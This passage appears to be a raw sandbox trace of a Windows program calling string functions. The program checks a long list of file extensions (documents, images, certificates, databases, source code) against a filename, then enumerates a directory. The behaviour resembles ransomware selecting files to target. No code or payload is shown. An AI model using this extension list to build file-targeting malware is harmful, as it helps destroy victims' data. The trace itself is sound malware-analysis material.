	[0162.965] lstrlenW (lpString=".asc") returned 4
	[0162.965] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0162.965] lstrlenW (lpString=".ascx") returned 5
	[0162.965] lstrcmpiW (lpString1=".ascx", lpString2="2.dll") returned -1
	[0162.965] lstrlenW (lpString=".asm") returned 4
	[0162.965] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0162.965] lstrlenW (lpString=".asmx") returned 5
	[0162.965] lstrcmpiW (lpString1=".asmx", lpString2="2.dll") returned -1
	[0162.965] lstrlenW (lpString=".asp") returned 4
	[0162.965] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0162.965] lstrlenW (lpString=".aspx") returned 5
	[0162.965] lstrcmpiW (lpString1=".aspx", lpString2="2.dll") returned -1
	[0162.965] lstrlenW (lpString=".asr") returned 4
	[0162.965] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0162.965] lstrlenW (lpString=".asx") returned 4
	[0162.965] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0162.965] lstrlenW (lpString=".avi") returned 4
	[0162.965] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".avs") returned 4
	[0162.966] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".backup") returned 7
	[0162.966] lstrcmpiW (lpString1=".backup", lpString2="f32.dll") returned -1
	[0162.966] lstrlenW (lpString=".bak") returned 4
	[0162.966] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".bay") returned 4
	[0162.966] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".bd") returned 3
	[0162.966] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0162.966] lstrlenW (lpString=".bin") returned 4
	[0162.966] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".bmp") returned 4
	[0162.966] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".bz2") returned 4
	[0162.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".c") returned 2
	[0162.966] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0162.966] lstrlenW (lpString=".cdr") returned 4
	[0162.966] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".cer") returned 4
	[0162.966] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0162.966] lstrlenW (lpString=".cf") returned 3
	[0162.966] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0162.966] lstrlenW (lpString=".cfc") returned 4
	[0162.967] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".cfm") returned 4
	[0162.967] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".cfml") returned 5
	[0162.967] lstrcmpiW (lpString1=".cfml", lpString2="2.dll") returned -1
	[0162.967] lstrlenW (lpString=".cfu") returned 4
	[0162.967] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".chm") returned 4
	[0162.967] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".cin") returned 4
	[0162.967] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".class") returned 6
	[0162.967] lstrcmpiW (lpString1=".class", lpString2="32.dll") returned -1
	[0162.967] lstrlenW (lpString=".clx") returned 4
	[0162.967] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0162.967] lstrlenW (lpString=".config") returned 7
	[0162.967] lstrcmpiW (lpString1=".config", lpString2="f32.dll") returned -1
	[0162.967] lstrlenW (lpString=".cpp") returned 4
	[0162.967] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".cr2") returned 4
	[0162.968] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".crt") returned 4
	[0162.968] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".crw") returned 4
	[0162.968] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".cs") returned 3
	[0162.968] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0162.968] lstrlenW (lpString=".css") returned 4
	[0162.968] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".csv") returned 4
	[0162.968] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".cub") returned 4
	[0162.968] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".dae") returned 4
	[0162.968] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".dat") returned 4
	[0162.968] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".db") returned 3
	[0162.968] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0162.968] lstrlenW (lpString=".dbf") returned 4
	[0162.968] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".dbx") returned 4
	[0162.968] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0162.968] lstrlenW (lpString=".dc3") returned 4
	[0162.969] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".dcm") returned 4
	[0162.969] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".dcr") returned 4
	[0162.969] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".der") returned 4
	[0162.969] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".dib") returned 4
	[0162.969] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".dic") returned 4
	[0162.969] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".dif") returned 4
	[0162.969] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0162.969] lstrlenW (lpString=".divx") returned 5
	[0162.969] lstrcmpiW (lpString1=".divx", lpString2="2.dll") returned -1
	[0162.969] lstrlenW (lpString=".djvu") returned 5
	[0162.969] lstrcmpiW (lpString1=".djvu", lpString2="2.dll") returned -1
	[0162.969] lstrlenW (lpString=".dng") returned 4
	[0162.969] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0162.969] lstrlenW (lpString=".doc") returned 4
	[0162.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".docm") returned 5
	[0162.970] lstrcmpiW (lpString1=".docm", lpString2="2.dll") returned -1
	[0162.970] lstrlenW (lpString=".docx") returned 5
	[0162.970] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0162.970] lstrlenW (lpString=".dot") returned 4
	[0162.970] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dotm") returned 5
	[0162.970] lstrcmpiW (lpString1=".dotm", lpString2="2.dll") returned -1
	[0162.970] lstrlenW (lpString=".dotx") returned 5
	[0162.970] lstrcmpiW (lpString1=".dotx", lpString2="2.dll") returned -1
	[0162.970] lstrlenW (lpString=".dpx") returned 4
	[0162.970] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dqy") returned 4
	[0162.970] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dsn") returned 4
	[0162.970] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dt") returned 3
	[0162.970] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0162.970] lstrlenW (lpString=".dtd") returned 4
	[0162.970] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dwg") returned 4
	[0162.970] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0162.970] lstrlenW (lpString=".dwt") returned 4
	[0162.971] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".dx") returned 3
	[0162.971] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0162.971] lstrlenW (lpString=".dxf") returned 4
	[0162.971] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".edml") returned 5
	[0162.971] lstrcmpiW (lpString1=".edml", lpString2="2.dll") returned -1
	[0162.971] lstrlenW (lpString=".efd") returned 4
	[0162.971] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".elf") returned 4
	[0162.971] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".emf") returned 4
	[0162.971] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".emz") returned 4
	[0162.971] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".epf") returned 4
	[0162.971] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".eps") returned 4
	[0162.971] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".epsf") returned 5
	[0162.971] lstrcmpiW (lpString1=".epsf", lpString2="2.dll") returned -1
	[0162.971] lstrlenW (lpString=".epsp") returned 5
	[0162.971] lstrcmpiW (lpString1=".epsp", lpString2="2.dll") returned -1
	[0162.971] lstrlenW (lpString=".erf") returned 4
	[0162.971] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".exr") returned 4
	[0162.971] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0162.971] lstrlenW (lpString=".f4v") returned 4
	[0162.972] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".fido") returned 5
	[0162.972] lstrcmpiW (lpString1=".fido", lpString2="2.dll") returned -1
	[0162.972] lstrlenW (lpString=".flm") returned 4
	[0162.972] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".flv") returned 4
	[0162.972] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".frm") returned 4
	[0162.972] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".fxg") returned 4
	[0162.972] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".geo") returned 4
	[0162.972] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".gif") returned 4
	[0162.972] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".grs") returned 4
	[0162.972] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".gz") returned 3
	[0162.972] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0162.972] lstrlenW (lpString=".h") returned 2
	[0162.972] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0162.972] lstrlenW (lpString=".hdr") returned 4
	[0162.972] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".hpp") returned 4
	[0162.972] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".hta") returned 4
	[0162.972] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".htc") returned 4
	[0162.972] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0162.972] lstrlenW (lpString=".htm") returned 4
	[0162.973] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".html") returned 5
	[0162.973] lstrcmpiW (lpString1=".html", lpString2="2.dll") returned -1
	[0162.973] lstrlenW (lpString=".icb") returned 4
	[0162.973] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".ics") returned 4
	[0162.973] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".iff") returned 4
	[0162.973] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".inc") returned 4
	[0162.973] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".indd") returned 5
	[0162.973] lstrcmpiW (lpString1=".indd", lpString2="2.dll") returned -1
	[0162.973] lstrlenW (lpString=".ini") returned 4
	[0162.973] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".iqy") returned 4
	[0162.973] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".j2c") returned 4
	[0162.973] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".j2k") returned 4
	[0162.973] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".java") returned 5
	[0162.973] lstrcmpiW (lpString1=".java", lpString2="2.dll") returned -1
	[0162.973] lstrlenW (lpString=".jp2") returned 4
	[0162.973] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".jpc") returned 4
	[0162.973] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0162.973] lstrlenW (lpString=".jpe") returned 4
	[0162.973] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".jpeg") returned 5
	[0162.974] lstrcmpiW (lpString1=".jpeg", lpString2="2.dll") returned -1
	[0162.974] lstrlenW (lpString=".jpf") returned 4
	[0162.974] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".jpg") returned 4
	[0162.974] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".jpx") returned 4
	[0162.974] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".js") returned 3
	[0162.974] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0162.974] lstrlenW (lpString=".jsf") returned 4
	[0162.974] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".json") returned 5
	[0162.974] lstrcmpiW (lpString1=".json", lpString2="2.dll") returned -1
	[0162.974] lstrlenW (lpString=".jsp") returned 4
	[0162.974] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".kdc") returned 4
	[0162.974] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".kmz") returned 4
	[0162.974] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".kwm") returned 4
	[0162.974] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".lasso") returned 6
	[0162.974] lstrcmpiW (lpString1=".lasso", lpString2="32.dll") returned -1
	[0162.974] lstrlenW (lpString=".lbi") returned 4
	[0162.974] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0162.974] lstrlenW (lpString=".lgf") returned 4
	[0162.975] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".lgp") returned 4
	[0162.975] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".log") returned 4
	[0162.975] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".m1v") returned 4
	[0162.975] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".m4a") returned 4
	[0162.975] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".m4v") returned 4
	[0162.975] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".max") returned 4
	[0162.975] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0162.975] lstrlenW (lpString=".md") returned 3
	[0162.975] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0162.975] lstrlenW (lpString=".mda") returned 4
	[0162.999] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0162.999] lstrlenW (lpString=".mdb") returned 4
	[0162.999] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0162.999] lstrlenW (lpString=".mde") returned 4
	[0162.999] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mdf") returned 4
	[0163.000] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mdw") returned 4
	[0163.000] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mef") returned 4
	[0163.000] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mft") returned 4
	[0163.000] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mfw") returned 4
	[0163.000] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mht") returned 4
	[0163.000] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mhtml") returned 6
	[0163.000] lstrcmpiW (lpString1=".mhtml", lpString2="32.dll") returned -1
	[0163.000] lstrlenW (lpString=".mka") returned 4
	[0163.000] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mkidx") returned 6
	[0163.000] lstrcmpiW (lpString1=".mkidx", lpString2="32.dll") returned -1
	[0163.000] lstrlenW (lpString=".mkv") returned 4
	[0163.000] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0163.000] lstrlenW (lpString=".mos") returned 4
	[0163.000] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mov") returned 4
	[0163.001] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mp3") returned 4
	[0163.001] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mp4") returned 4
	[0163.001] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mpeg") returned 5
	[0163.001] lstrcmpiW (lpString1=".mpeg", lpString2="2.dll") returned -1
	[0163.001] lstrlenW (lpString=".mpg") returned 4
	[0163.001] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mpv") returned 4
	[0163.001] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mrw") returned 4
	[0163.001] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".msg") returned 4
	[0163.001] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".mxl") returned 4
	[0163.001] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".myd") returned 4
	[0163.001] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".myi") returned 4
	[0163.001] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0163.001] lstrlenW (lpString=".nef") returned 4
	[0163.001] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".nrw") returned 4
	[0163.002] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".obj") returned 4
	[0163.002] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".odb") returned 4
	[0163.002] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".odc") returned 4
	[0163.002] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".odm") returned 4
	[0163.002] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".odp") returned 4
	[0163.002] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".ods") returned 4
	[0163.002] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".oft") returned 4
	[0163.002] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".one") returned 4
	[0163.002] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0163.002] lstrlenW (lpString=".onepkg") returned 7
	[0163.002] lstrcmpiW (lpString1=".onepkg", lpString2="f32.dll") returned -1
	[0163.002] lstrlenW (lpString=".onetoc2") returned 8
	[0163.002] lstrcmpiW (lpString1=".onetoc2", lpString2="df32.dll") returned -1
	[0163.003] lstrlenW (lpString=".opt") returned 4
	[0163.003] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".oqy") returned 4
	[0163.003] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".orf") returned 4
	[0163.003] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".p12") returned 4
	[0163.003] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".p7b") returned 4
	[0163.003] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".p7c") returned 4
	[0163.003] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pam") returned 4
	[0163.003] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pbm") returned 4
	[0163.003] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pct") returned 4
	[0163.003] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pcx") returned 4
	[0163.003] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pdd") returned 4
	[0163.003] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0163.003] lstrlenW (lpString=".pdf") returned 4
	[0163.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pdp") returned 4
	[0163.004] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pef") returned 4
	[0163.004] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pem") returned 4
	[0163.004] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pff") returned 4
	[0163.004] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pfm") returned 4
	[0163.004] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pfx") returned 4
	[0163.004] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".pgm") returned 4
	[0163.004] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".php") returned 4
	[0163.004] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0163.004] lstrlenW (lpString=".php3") returned 5
	[0163.004] lstrcmpiW (lpString1=".php3", lpString2="2.dll") returned -1
	[0163.004] lstrlenW (lpString=".php4") returned 5
	[0163.004] lstrcmpiW (lpString1=".php4", lpString2="2.dll") returned -1
	[0163.004] lstrlenW (lpString=".php5") returned 5
	[0163.004] lstrcmpiW (lpString1=".php5", lpString2="2.dll") returned -1
	[0163.005] lstrlenW (lpString=".phtml") returned 6
	[0163.005] lstrcmpiW (lpString1=".phtml", lpString2="32.dll") returned -1
	[0163.005] lstrlenW (lpString=".pict") returned 5
	[0163.005] lstrcmpiW (lpString1=".pict", lpString2="2.dll") returned -1
	[0163.005] lstrlenW (lpString=".pl") returned 3
	[0163.005] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0163.005] lstrlenW (lpString=".pls") returned 4
	[0163.005] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0163.005] lstrlenW (lpString=".pm") returned 3
	[0163.005] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0163.005] lstrlenW (lpString=".png") returned 4
	[0163.005] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0163.005] lstrlenW (lpString=".pnm") returned 4
	[0163.005] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0163.005] lstrlenW (lpString=".pot") returned 4
	[0163.005] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0163.005] lstrlenW (lpString=".potm") returned 5
	[0163.005] lstrcmpiW (lpString1=".potm", lpString2="2.dll") returned -1
	[0163.005] lstrlenW (lpString=".potx") returned 5
	[0163.005] lstrcmpiW (lpString1=".potx", lpString2="2.dll") returned -1
	[0163.005] lstrlenW (lpString=".ppa") returned 4
	[0163.005] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".ppam") returned 5
	[0163.006] lstrcmpiW (lpString1=".ppam", lpString2="2.dll") returned -1
	[0163.006] lstrlenW (lpString=".ppm") returned 4
	[0163.006] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".pps") returned 4
	[0163.006] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".ppsm") returned 5
	[0163.006] lstrcmpiW (lpString1=".ppsm", lpString2="2.dll") returned -1
	[0163.006] lstrlenW (lpString=".ppt") returned 4
	[0163.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".pptm") returned 5
	[0163.006] lstrcmpiW (lpString1=".pptm", lpString2="2.dll") returned -1
	[0163.006] lstrlenW (lpString=".pptx") returned 5
	[0163.006] lstrcmpiW (lpString1=".pptx", lpString2="2.dll") returned -1
	[0163.006] lstrlenW (lpString=".prn") returned 4
	[0163.006] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".ps") returned 3
	[0163.006] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0163.006] lstrlenW (lpString=".psb") returned 4
	[0163.006] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".psd") returned 4
	[0163.006] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0163.006] lstrlenW (lpString=".pst") returned 4
	[0163.007] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0163.007] lstrlenW (lpString=".ptx") returned 4
	[0163.007] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0163.007] lstrlenW (lpString=".pub") returned 4
	[0163.007] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0163.007] lstrlenW (lpString=".pwm") returned 4
	[0163.007] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0163.007] lstrlenW (lpString=".pxr") returned 4
	[0163.007] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0163.007] lstrlenW (lpString=".py") returned 3
	[0163.007] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0163.007] lstrlenW (lpString=".qt") returned 3
	[0163.007] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0163.007] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1
